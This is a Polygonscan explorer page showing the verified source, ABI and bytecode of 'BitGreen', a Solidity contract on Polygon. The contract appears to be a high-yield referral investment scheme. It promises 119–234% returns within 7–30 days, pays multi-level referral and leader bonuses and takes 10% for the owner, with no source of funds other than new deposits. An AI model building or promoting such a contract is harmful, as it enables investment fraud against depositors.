Polygon Sponsored slots available. Book your slot here!
Contract Overview
My Name Tag:
Not Available, login to update
[ Download CSV Export ]
Latest 25 internal transaction
[ Download CSV Export ]
Contract Source Code Verified (Exact Match)
Contract Name:
BitGreen
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at polygonscan.com on 2022-09-19 */ // SPDX-License-Identifier: MIT License pragma solidity >=0.8.0; struct Tarif { uint8 life_days; uint8 percent; } struct Deposit { uint8 tarif; uint256 amount; uint256 time; } struct Player { address upline; uint256 dividends; uint256 match_bonus; uint256 leader_bonus; uint256 last_payout; uint256 total_invested; uint256 total_withdrawn; uint256 total_match_bonus; uint256 leadTurnover; uint256 leadBonusReward; bool[9] receivedBonuses; Deposit[] deposits; uint256[5] structure; // length has been got from bonus lines number address[] referrals; uint256[5] refTurnover; } interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); } contract BitGreen { address public owner; uint256 public invested; uint256 public withdrawn; uint256 public match_bonus; uint256 public totalLeadBonusReward; uint8 constant BONUS_LINES_COUNT = 5; uint16 constant PERCENT_DIVIDER = 1000; // 100 * 10 uint8[BONUS_LINES_COUNT] public ref_bonuses = [50, 20, 10, 5, 5]; // 5%, 2%, 1%, 0.5%, 0.5% uint256[9] public LEADER_BONUS_TRIGGERS = [ 600 ether, 1_600 ether, 3_200 ether, 6_500 ether, 32_000 ether, 64_000 ether, 320_000 ether, 640_000 ether, 3_200_000 ether ]; uint256[9] public LEADER_BONUS_REWARDS = [ 12 ether, 32 ether, 64 ether, 130 ether, 640 ether, 1_280 ether, 6_400 ether, 12_800 ether, 64_000 ether ]; uint256[3] public LEADER_BONUS_LEVEL_PERCENTS = [100, 30, 15]; mapping(uint8 => Tarif) public tarifs; mapping(address => Player) public players; uint256 totalPlayers; event Upline(address indexed addr, address indexed upline, uint256 bonus, uint256 timestamp); event NewDeposit(address indexed addr, uint256 amount, uint8 tarif, uint256 timestamp); event MatchPayout(address indexed addr, address indexed from, uint256 amount, uint256 timestamp); event Withdraw(address indexed addr, uint256 amount, uint256 timestamp); event LeaderBonusReward( address indexed to, uint256 indexed amount, uint8 indexed level, uint256 timestamp ); constructor() { owner = msg.sender; players[owner].upline = owner; uint8 tarifPercent = 119; for (uint8 tarifDuration = 7; tarifDuration <= 30; tarifDuration++) { tarifs[tarifDuration] = Tarif(tarifDuration, tarifPercent); tarifPercent+= 5; } } function _payout(address _addr) private { uint256 payout = this.payoutOf(_addr); if (payout > 0) { players[_addr].last_payout = block.timestamp; players[_addr].dividends += payout; } } function _refPayout(address _addr, uint256 _amount) private { address up = players[_addr].upline; for(uint8 i = 0; i < ref_bonuses.length; i++) { if(up == address(0)) break; uint256 bonus = _amount * ref_bonuses[i] / PERCENT_DIVIDER; players[up].match_bonus += bonus; players[up].total_match_bonus += bonus; match_bonus += bonus; emit MatchPayout(up, _addr, bonus, block.timestamp); up = players[up].upline; } } function _setUpline(address _addr, address _upline, uint256 _amount) private { if (players[_addr].upline == address(0) && _addr != owner) { totalPlayers++; if (players[_upline].deposits.length == 0) { _upline = owner; } players[_addr].upline = _upline; emit Upline(_addr, _upline, _amount / 100, block.timestamp); players[_upline].referrals.push(_addr); for (uint8 i = 0; i < BONUS_LINES_COUNT; i++) { players[_upline].structure[i]++; address prevUpline = _upline; _upline = players[_upline].upline; if (_upline == address(0) || prevUpline == _upline) { break; } } } } function deposit(uint8 _tarif, address _upline) external payable { require(tarifs[_tarif].life_days > 0, "Tarif not found"); require(msg.value >= 5 ether, "Minimum deposit amount is 5 MATIC"); Player storage player = players[msg.sender]; require(player.deposits.length < 100, "Max 100 deposits per address"); _setUpline(msg.sender, _upline, msg.value); player.deposits.push(Deposit({ tarif: _tarif, amount: msg.value, time: block.timestamp })); player.total_invested += msg.value; invested += msg.value; _refPayout(msg.sender, msg.value); distributeBonuses(msg.value, msg.sender); address ref = player.upline; for (uint8 i = 0; i < BONUS_LINES_COUNT; i++) { players[ref].refTurnover[i]+= msg.value; address prevRef = ref; ref = players[ref].upline; if (prevRef == ref || ref == address(0x0)) { break; } } payable(owner).transfer(msg.value / 10); emit NewDeposit(msg.sender, msg.value, _tarif, block.timestamp); } function withdraw() external { Player storage player = players[msg.sender]; _payout(msg.sender); require(player.dividends > 0 || player.match_bonus > 0 || player.leader_bonus > 0, "Zero amount"); uint256 amount = player.dividends + player.match_bonus + player.leader_bonus; player.dividends = 0; player.match_bonus = 0; player.leader_bonus = 0; player.total_withdrawn += amount; withdrawn += amount; payable(msg.sender).transfer(amount); emit Withdraw(msg.sender, amount, block.timestamp); } function payoutOf(address _addr) view external returns(uint256 value) { Player storage player = players[_addr]; for(uint256 i = 0; i < player.deposits.length; i++) { Deposit storage dep = player.deposits[i]; Tarif storage tarif = tarifs[dep.tarif]; uint256 time_end = dep.time + tarif.life_days * uint256(86400); uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time; uint256 to = block.timestamp > time_end ? time_end : block.timestamp; if (from < to) { value += dep.amount * (to - from) * tarif.percent / tarif.life_days / uint256(8640000); } } return value; } function distributeBonuses(uint256 _amount, address _player) private { address ref = players[_player].upline; for (uint8 i = 0; i < LEADER_BONUS_LEVEL_PERCENTS.length; i++) { players[ref].leadTurnover+= _amount * LEADER_BONUS_LEVEL_PERCENTS[i] / 100; for (uint8 j = 0; j < LEADER_BONUS_TRIGGERS.length; j++) { if (players[ref].leadTurnover >= LEADER_BONUS_TRIGGERS[j]) { if (!players[ref].receivedBonuses[j]) { players[ref].receivedBonuses[j] = true; players[ref].leadBonusReward+= LEADER_BONUS_REWARDS[j]; totalLeadBonusReward+= LEADER_BONUS_REWARDS[j]; //payable(ref).transfer(LEADER_BONUS_REWARDS[j]); players[ref].leader_bonus+= LEADER_BONUS_REWARDS[j]; emit LeaderBonusReward( ref, LEADER_BONUS_REWARDS[j], i, block.timestamp ); } else { continue; } } else { break; } } ref = players[ref].upline; if (ref == address(0x0)) { break; } } } function getTotalLeaderBonus(address _player) external view returns (uint256) { return players[_player].leadBonusReward; } function getReceivedBonuses(address _player) external view returns (bool[9] memory) { return players[_player].receivedBonuses; } /* Only external call */ function userInfo(address _addr) external view returns( uint256 for_withdraw, uint256 total_invested, uint256 total_withdrawn, uint256 total_match_bonus, uint256 total_leader_bonus, uint256[BONUS_LINES_COUNT] memory structure, uint256[BONUS_LINES_COUNT] memory refTurnover ) { Player storage player = players[_addr]; uint256 payout = this.payoutOf(_addr); return ( payout + player.dividends + player.match_bonus + player.leader_bonus, player.total_invested, player.total_withdrawn, player.total_match_bonus, player.leadBonusReward, player.structure, player.refTurnover ); } function contractInfo() view external returns(uint256, uint256, uint256, uint256, uint256) { return (invested, withdrawn, match_bonus, totalLeadBonusReward, totalPlayers); } function invest() external payable { payable(msg.sender).transfer(msg.value); } function retrieveERC20(address tokenContractAddress) external { require(msg.sender == owner, "Only owner can call this method"); IERC20(tokenContractAddress).transfer( owner, IERC20(tokenContractAddress).balanceOf(address(this)) ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":true,"internalType":"uint8","name":"level","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"LeaderBonusReward","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"MatchPayout","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint8","name":"tarif","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"NewDeposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"upline","type":"address"},{"indexed":false,"internalType":"uint256","name":"bonus","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"Upline","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"Withdraw","type":"event"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"LEADER_BONUS_LEVEL_PERCENTS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"LEADER_BONUS_REWARDS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"LEADER_BONUS_TRIGGERS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_tarif","type":"uint8"},{"internalType":"address","name":"_upline","type":"address"}],"name":"deposit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"name":"getReceivedBonuses","outputs":[{"internalType":"bool[9]","name":"","type":"bool[9]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"name":"getTotalLeaderBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"invest","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"invested","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"match_bonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"payoutOf","outputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"players","outputs":[{"internalType":"address","name":"upline","type":"address"},{"internalType":"uint256","name":"dividends","type":"uint256"},{"internalType":"uint256","name":"match_bonus","type":"uint256"},{"internalType":"uint256","name":"leader_bonus","type":"uint256"},{"internalType":"uint256","name":"last_payout","type":"uint256"},{"internalType":"uint256","name":"total_invested","type":"uint256"},{"internalType":"uint256","name":"total_withdrawn","type":"uint256"},{"internalType":"uint256","name":"total_match_bonus","type":"uint256"},{"internalType":"uint256","name":"leadTurnover","type":"uint256"},{"internalType":"uint256","name":"leadBonusReward","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"ref_bonuses","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenContractAddress","type":"address"}],"name":"retrieveERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"","type":"uint8"}],"name":"tarifs","outputs":[{"internalType":"uint8","name":"life_days","type":"uint8"},{"internalType":"uint8","name":"percent","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalLeadBonusReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"userInfo","outputs":[{"internalType":"uint256","name":"for_withdraw","type":"uint256"},{"internalType":"uint256","name":"total_invested","type":"uint256"},{"internalType":"uint256","name":"total_withdrawn","type":"uint256"},{"internalType":"uint256","name":"total_match_bonus","type":"uint256"},{"internalType":"uint256","name":"total_leader_bonus","type":"uint256"},{"internalType":"uint256[5]","name":"structure","type":"uint256[5]"},{"internalType":"uint256[5]","name":"refTurnover","type":"uint256[5]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
61012060405260326080908152601460a052600a60c052600560e08190526101008190526200002f918162000269565b506040805161012081018252682086ac35105260000081526856bc75e2d631000000602082015268ad78ebc5ac62000000918101919091526901605d9ee9862710000060608201526906c6b935b8bbd40000006080820152690d8d726b7177a800000060a08201526943c33c1937564800000060c082015269878678326eac9000000060e08201526a02a5a058fc295ed0000000610100820152620000d990600690600962000303565b50604080516101208101825267a688906bd8b0000081526801bc16d674ec80000060208201526803782dace9d90000009181019190915268070c1cc73b00c8000060608201526822b1c8c1227a0000006080820152684563918244f400000060a082015269015af1d78b58c400000060c08201526902b5e3af16b18800000060e0820152690d8d726b7177a80000006101008201526200017e90600f9060096200033f565b506040805160608101825260648152601e6020820152600f91810191909152620001ad9060189060036200037b565b50348015620001bb57600080fd5b5060008054336001600160a01b031991821681178355808352601c602052604090922080549091169091179055607760075b601e8160ff1611620002615760408051808201825260ff80841680835285821660208085019182526000928352601b905293902091518254935182166101000261ffff199094169116179190911790556200024a600583620003de565b915080620002588162000400565b915050620001ed565b505062000422565b600183019183908215620002f15791602002820160005b83821115620002c057835183826101000a81548160ff021916908360ff160217905550926020019260010160208160000104928301926001030262000280565b8015620002ef5782816101000a81549060ff0219169055600101602081600001049283019260010302620002c0565b505b50620002ff929150620003b1565b5090565b8260098101928215620002f1579160200282015b82811115620002f157825182906001600160581b031690559160200191906001019062000317565b8260098101928215620002f1579160200282015b82811115620002f157825182906001600160501b031690559160200191906001019062000353565b8260038101928215620002f1579160200282015b82811115620002f1578251829060ff169055916020019190600101906200038f565b5b80821115620002ff5760008155600101620003b2565b634e487b7160e01b600052601160045260246000fd5b60ff8181168382160190811115620003fa57620003fa620003c8565b92915050565b600060ff821660ff8103620004195762000419620003c8565b60010192915050565b6117cc80620004326000396000f3fe60806040526004361061011f5760003560e01c8063a7401709116100a0578063c8084dd111610064578063c8084dd1146103b1578063c80ec522146103c7578063cafb2202146103dd578063e2eb41ff146103f3578063e8b5e51f146104bd57600080fd5b8063a7401709146102d9578063ab94d9501461032c578063b103dd291461033f578063b7d9f0d21461035f578063c0ecee051461039157600080fd5b806356336df4116100e757806356336df414610212578063692808a5146102285780636da61d1e1461026157806380188ce3146102815780638da5cb5b146102a157600080fd5b806315c43aaf146101245780631959a0021461016d57806329bbbe50146101a05780633ccfd60b146101cd5780635364b41c146101e4575b600080fd5b34801561013057600080fd5b50600154600254600354600454601d54604080519586526020860194909452928401919091526060830152608082015260a0015b60405180910390f35b34801561017957600080fd5b5061018d610188366004611556565b6104c5565b604051610164979695949392919061159b565b3480156101ac57600080fd5b506101c06101bb366004611556565b61062d565b60405161016491906115e6565b3480156101d957600080fd5b506101e26106a2565b005b3480156101f057600080fd5b506102046101ff36600461161a565b6107ff565b604051908152602001610164565b34801561021e57600080fd5b5061020460045481565b34801561023457600080fd5b50610204610243366004611556565b6001600160a01b03166000908152601c602052604090206009015490565b34801561026d57600080fd5b5061020461027c366004611556565b610816565b34801561028d57600080fd5b5061020461029c36600461161a565b610952565b3480156102ad57600080fd5b506000546102c1906001600160a01b031681565b6040516001600160a01b039091168152602001610164565b3480156102e557600080fd5b506103126102f4366004611644565b601b6020526000908152604090205460ff8082169161010090041682565b6040805160ff938416815292909116602083015201610164565b6101e261033a36600461165f565b610962565b34801561034b57600080fd5b506101e261035a366004611556565b610c68565b34801561036b57600080fd5b5061037f61037a36600461161a565b610dac565b60405160ff9091168152602001610164565b34801561039d57600080fd5b506102046103ac36600461161a565b610dd6565b3480156103bd57600080fd5b5061020460035481565b3480156103d357600080fd5b5061020460025481565b3480156103e957600080fd5b5061020460015481565b3480156103ff57600080fd5b5061046961040e366004611556565b601c6020526000908152604090208054600182015460028301546003840154600485015460058601546006870154600788015460088901546009909901546001600160a01b039098169896979596949593949293919290918a565b604080516001600160a01b03909b168b5260208b0199909952978901969096526060880194909452608087019290925260a086015260c085015260e084015261010083015261012082015261014001610164565b6101e2610de6565b60008060008060006104d56114fd565b6104dd6114fd565b6001600160a01b0388166000818152601c602052604080822090516336d30e8f60e11b81526004810193909352913090636da61d1e90602401602060405180830381865afa158015610533573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105579190611692565b90508160030154826002015483600101548361057391906116c1565b61057d91906116c1565b61058791906116c1565b826005015483600601548460070154856009015486600c0187601201816005806020026040519081016040528092919082600580156105db576020028201915b8154815260200190600101908083116105c7575b50506040805160a081019182905294965085935060059250905082845b8154815260200190600101908083116105f8575050505050905098509850985098509850985098505050919395979092949650565b61063561151b565b6001600160a01b0382166000908152601c6020526040808220815161012081019283905292600a909101916009918390855b825461010083900a900460ff161515815260206001928301818104948501949093039092029101808411610667575094979650505050505050565b336000818152601c60205260409020906106bb90610e15565b6000816001015411806106d2575060008160020154115b806106e1575060008160030154115b6107205760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b60448201526064015b60405180910390fd5b600081600301548260020154836001015461073b91906116c1565b61074591906116c1565b600060018401819055600284018190556003840181905560068401805492935083929091906107759084906116c1565b92505081905550806002600082825461078e91906116c1565b9091555050604051339082156108fc029083906000818181858888f193505050501580156107c0573d6000803e3d6000fd5b506040805182815242602082015233917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b568910160405180910390a25050565b6006816009811061080f57600080fd5b0154905081565b6001600160a01b0381166000908152601c60205260408120815b600b82015481101561094b57600082600b018281548110610853576108536116da565b600091825260208083206003909202909101805460ff9081168452601b909252604083208054919450929161088d916201518091166116f0565b836002015461089c91906116c1565b9050600083600201548660040154116108b95783600201546108bf565b85600401545b905060008242116108d057426108d2565b825b9050808210156109335783546283d6009060ff808216916101009004166108f98585611707565b886001015461090891906116f0565b61091291906116f0565b61091c919061171a565b610926919061171a565b61093090896116c1565b97505b505050505080806109439061173c565b915050610830565b5050919050565b6018816003811061080f57600080fd5b60ff8083166000908152601b6020526040902054166109b55760405162461bcd60e51b815260206004820152600f60248201526e15185c9a59881b9bdd08199bdd5b99608a1b6044820152606401610717565b674563918244f40000341015610a175760405162461bcd60e51b815260206004820152602160248201527f4d696e696d756d206465706f73697420616d6f756e742069732035204d4154496044820152604360f81b6064820152608401610717565b336000908152601c60205260409020600b810154606411610a7a5760405162461bcd60e51b815260206004820152601c60248201527f4d617820313030206465706f73697473207065722061646472657373000000006044820152606401610717565b610a85338334610ec2565b6040805160608101825260ff858116825234602080840182815242958501958652600b8701805460018082018355600092835293822096516003909102909601805460ff19169690951695909517845551908301559251600290910155600583018054909190610af69084906116c1565b925050819055503460016000828254610b0f91906116c1565b90915550610b1f905033346110a4565b610b293433611218565b80546001600160a01b031660005b600560ff82161015610bda576001600160a01b0382166000908152601c60205260409020349060120160ff831660058110610b7457610b746116da565b016000828254610b8491906116c1565b90915550506001600160a01b038083166000818152601c60205260409020549091169290831480610bbc57506001600160a01b038316155b15610bc75750610bda565b5080610bd281611755565b915050610b37565b506000546001600160a01b03166108fc610bf5600a3461171a565b6040518115909202916000818181858888f19350505050158015610c1d573d6000803e3d6000fd5b506040805134815260ff861660208201524281830152905133917f55d20f5ea08c322d2c2bdaddc8429eae3a70b7e0956746241df297fd20bf5b4a919081900360600190a250505050565b6000546001600160a01b03163314610cc25760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c79206f776e65722063616e2063616c6c2074686973206d6574686f64006044820152606401610717565b6000546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610d15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d399190611692565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610d84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da89190611774565b5050565b60058160058110610dbc57600080fd5b60209182820401919006915054906101000a900460ff1681565b600f816009811061080f57600080fd5b60405133903480156108fc02916000818181858888f19350505050158015610e12573d6000803e3d6000fd5b50565b6040516336d30e8f60e11b81526001600160a01b03821660048201526000903090636da61d1e90602401602060405180830381865afa158015610e5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e809190611692565b90508015610da8576001600160a01b0382166000908152601c602052604081204260048201556001018054839290610eb99084906116c1565b90915550505050565b6001600160a01b038381166000908152601c602052604090205416158015610ef857506000546001600160a01b03848116911614155b1561109f57601d8054906000610f0d8361173c565b90915550506001600160a01b0382166000908152601c60205260408120600b01549003610f43576000546001600160a01b031691505b6001600160a01b038381166000818152601c6020526040902080546001600160a01b03191692851692831790557f86ab2e5821401fc3f095736a28125ea50b8057ed225f3fd37a8a5486a2ce32fa610f9c60648561171a565b604080519182524260208301520160405180910390a36001600160a01b038281166000908152601c60209081526040822060110180546001810182559083529082200180546001600160a01b031916928616929092179091555b600560ff8216101561109d576001600160a01b0383166000908152601c60205260409020600c0160ff821660058110611031576110316116da565b0180549060006110408361173c565b90915550506001600160a01b038084166000908152601c6020526040902054169283158061107f5750836001600160a01b0316816001600160a01b0316145b1561108a575061109d565b508061109581611755565b915050610ff6565b505b505050565b6001600160a01b038083166000908152601c6020526040812054909116905b60058160ff16101561109d576001600160a01b0382161561109d5760006103e8600560ff84168181106110f8576110f86116da565b60208104919091015461111791601f166101000a900460ff16866116f0565b611121919061171a565b6001600160a01b0384166000908152601c60205260408120600201805492935083929091906111519084906116c1565b90915550506001600160a01b0383166000908152601c6020526040812060070180548392906111819084906116c1565b92505081905550806003600082825461119a91906116c1565b9091555050604080518281524260208201526001600160a01b0380881692908616917f095fe5252eaca760323ccba05084e472ec23f168bc22d8d6610794cf453eda17910160405180910390a3506001600160a01b039182166000908152601c6020526040902054909116908061121081611755565b9150506110c3565b6001600160a01b038082166000908152601c6020526040812054909116905b60038160ff16101561109d57606460188260ff166003811061125b5761125b6116da565b015461126790866116f0565b611271919061171a565b6001600160a01b0383166000908152601c60205260408120600801805490919061129c9084906116c1565b90915550600090505b60098160ff1610156114c65760068160ff16600981106112c7576112c76116da565b01546001600160a01b0384166000908152601c6020526040902060080154106114af576001600160a01b0383166000908152601c60205260409020600a0160ff821660098110611319576113196116da565b602081049091015460ff601f9092166101000a9004166114aa576001600160a01b0383166000908152601c60205260409020600190600a0160ff831660098110611365576113656116da565b602091828204019190066101000a81548160ff021916908315150217905550600f8160ff166009811061139a5761139a6116da565b01546001600160a01b0384166000908152601c6020526040812060090180549091906113c79084906116c1565b90915550600f905060ff8216600981106113e3576113e36116da565b0154600460008282546113f691906116c1565b90915550600f905060ff821660098110611412576114126116da565b01546001600160a01b0384166000908152601c60205260408120600301805490919061143f9084906116c1565b925050819055508160ff16600f8260ff1660098110611460576114606116da565b0154846001600160a01b03167f157bbbb0808160eb3ead3df96590b5ad38db0b7297bba046a9fe1788b94e161c4260405161149d91815260200190565b60405180910390a46114b4565b6114b4565b6114c6565b806114be81611755565b9150506112a5565b506001600160a01b039182166000908152601c602052604090205490911690811561109d57806114f581611755565b915050611237565b6040518060a001604052806005906020820280368337509192915050565b6040518061012001604052806009906020820280368337509192915050565b80356001600160a01b038116811461155157600080fd5b919050565b60006020828403121561156857600080fd5b6115718261153a565b9392505050565b8060005b600581101561109d57815184526020938401939091019060010161157c565b60006101e0820190508882528760208301528660408301528560608301528460808301526115cc60a0830185611578565b6115da610140830184611578565b98975050505050505050565b6101208101818360005b600981101561161157815115158352602092830192909101906001016115f0565b50505092915050565b60006020828403121561162c57600080fd5b5035919050565b803560ff8116811461155157600080fd5b60006020828403121561165657600080fd5b61157182611633565b6000806040838503121561167257600080fd5b61167b83611633565b91506116896020840161153a565b90509250929050565b6000602082840312156116a457600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156116d4576116d46116ab565b92915050565b634e487b7160e01b600052603260045260246000fd5b80820281158282048414176116d4576116d46116ab565b818103818111156116d4576116d46116ab565b60008261173757634e487b7160e01b600052601260045260246000fd5b500490565b60006001820161174e5761174e6116ab565b5060010190565b600060ff821660ff810361176b5761176b6116ab565b60010192915050565b60006020828403121561178657600080fd5b8151801515811461157157600080fdfea26469706673582212200aef3fd71c57a137455d9c6081333e42079a6b818dff227ee2079845192ed28664736f6c63430008110033
Deployed ByteCode Sourcemap
834:9138:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9396:185;;;;;;;;;;-1:-1:-1;9504:8:0;;9514:9;;9525:11;;9538:20;;9560:12;;9396:185;;;273:25:1;;;329:2;314:18;;307:34;;;;357:18;;;350:34;;;;415:2;400:18;;393:34;458:3;443:19;;436:35;260:3;245:19;9396:185:0;;;;;;;;8604:784;;;;;;;;;;-1:-1:-1;8604:784:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;;;;;;;:::i;8410:142::-;;;;;;;;;;-1:-1:-1;8410:142:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;5672:615::-;;;;;;;;;;;;;:::i;:::-;;1227:255;;;;;;;;;;-1:-1:-1;1227:255:0;;;;;:::i;:::-;;:::i;:::-;;;2763:25:1;;;2751:2;2736:18;1227:255:0;2617:177:1;982:35:0;;;;;;;;;;;;;;;;8268:134;;;;;;;;;;-1:-1:-1;8268:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;8362:16:0;8337:7;8362:16;;;:7;:16;;;;;:32;;;;8268:134;6295:742;;;;;;;;;;-1:-1:-1;6295:742:0;;;;;:::i;:::-;;:::i;1735:61::-;;;;;;;;;;-1:-1:-1;1735:61:0;;;;;:::i;:::-;;:::i;859:20::-;;;;;;;;;;-1:-1:-1;859:20:0;;;;-1:-1:-1;;;;;859:20:0;;;;;;-1:-1:-1;;;;;2963:32:1;;;2945:51;;2933:2;2918:18;859:20:0;2799:203:1;1805:37:0;;;;;;;;;;-1:-1:-1;1805:37:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;3551:4:1;3539:17;;;3521:36;;3593:17;;;;3588:2;3573:18;;3566:45;3494:18;1805:37:0;3355:262:1;4464:1196:0;;;;;;:::i;:::-;;:::i;9688:279::-;;;;;;;;;;-1:-1:-1;9688:279:0;;;;;:::i;:::-;;:::i;1130:64::-;;;;;;;;;;-1:-1:-1;1130:64:0;;;;;:::i;:::-;;:::i;:::-;;;4055:4:1;4043:17;;;4025:36;;4013:2;3998:18;1130:64:0;3883:184:1;1491:235:0;;;;;;;;;;-1:-1:-1;1491:235:0;;;;;:::i;:::-;;:::i;949:26::-;;;;;;;;;;;;;;;;918:24;;;;;;;;;;;;;;;;888:23;;;;;;;;;;;;;;;;1849:41;;;;;;;;;;-1:-1:-1;1849:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1849:41:0;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;4489:32:1;;;4471:51;;4553:2;4538:18;;4531:34;;;;4581:18;;;4574:34;;;;4639:2;4624:18;;4617:34;;;;4682:3;4667:19;;4660:35;;;;4509:3;4711:19;;4704:35;4770:3;4755:19;;4748:35;4814:3;4799:19;;4792:35;4858:3;4843:19;;4836:35;4902:3;4887:19;;4880:35;4458:3;4443:19;1849:41:0;4072:849:1;9589:91:0;;;:::i;8604:784::-;8676:20;8707:22;8740:23;8774:25;8810:26;8847:43;;:::i;:::-;8901:45;;:::i;:::-;-1:-1:-1;;;;;8989:14:0;;8965:21;8989:14;;;:7;:14;;;;;;9033:20;;-1:-1:-1;;;9033:20:0;;;;;2945:51:1;;;;8989:14:0;9033:4;;:13;;2918:18:1;;9033:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9016:37;;9137:6;:19;;;9116:6;:18;;;9097:6;:16;;;9088:6;:25;;;;:::i;:::-;:46;;;;:::i;:::-;:68;;;;:::i;:::-;9171:6;:21;;;9207:6;:22;;;9244:6;:24;;;9283:6;:22;;;9320:6;:16;;9351:6;:18;;9066:314;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;9066:314:0;;;;;;;;;;;;-1:-1:-1;9066:314:0;;-1:-1:-1;9066:314:0;;-1:-1:-1;9066:314:0;-1:-1:-1;9066:314:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8604:784;;;;;;;;;:::o;8410:142::-;8478:14;;:::i;:::-;-1:-1:-1;;;;;8512:16:0;;;;;;:7;:16;;;;;;8505:39;;;;;;;;;;8512:32;;;;;8505:39;;8512:32;;8505:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8505:39:0;;8410:142;-1:-1:-1;;;;;;;8410:142:0:o;5672:615::-;5744:10;5712:21;5736:19;;;:7;: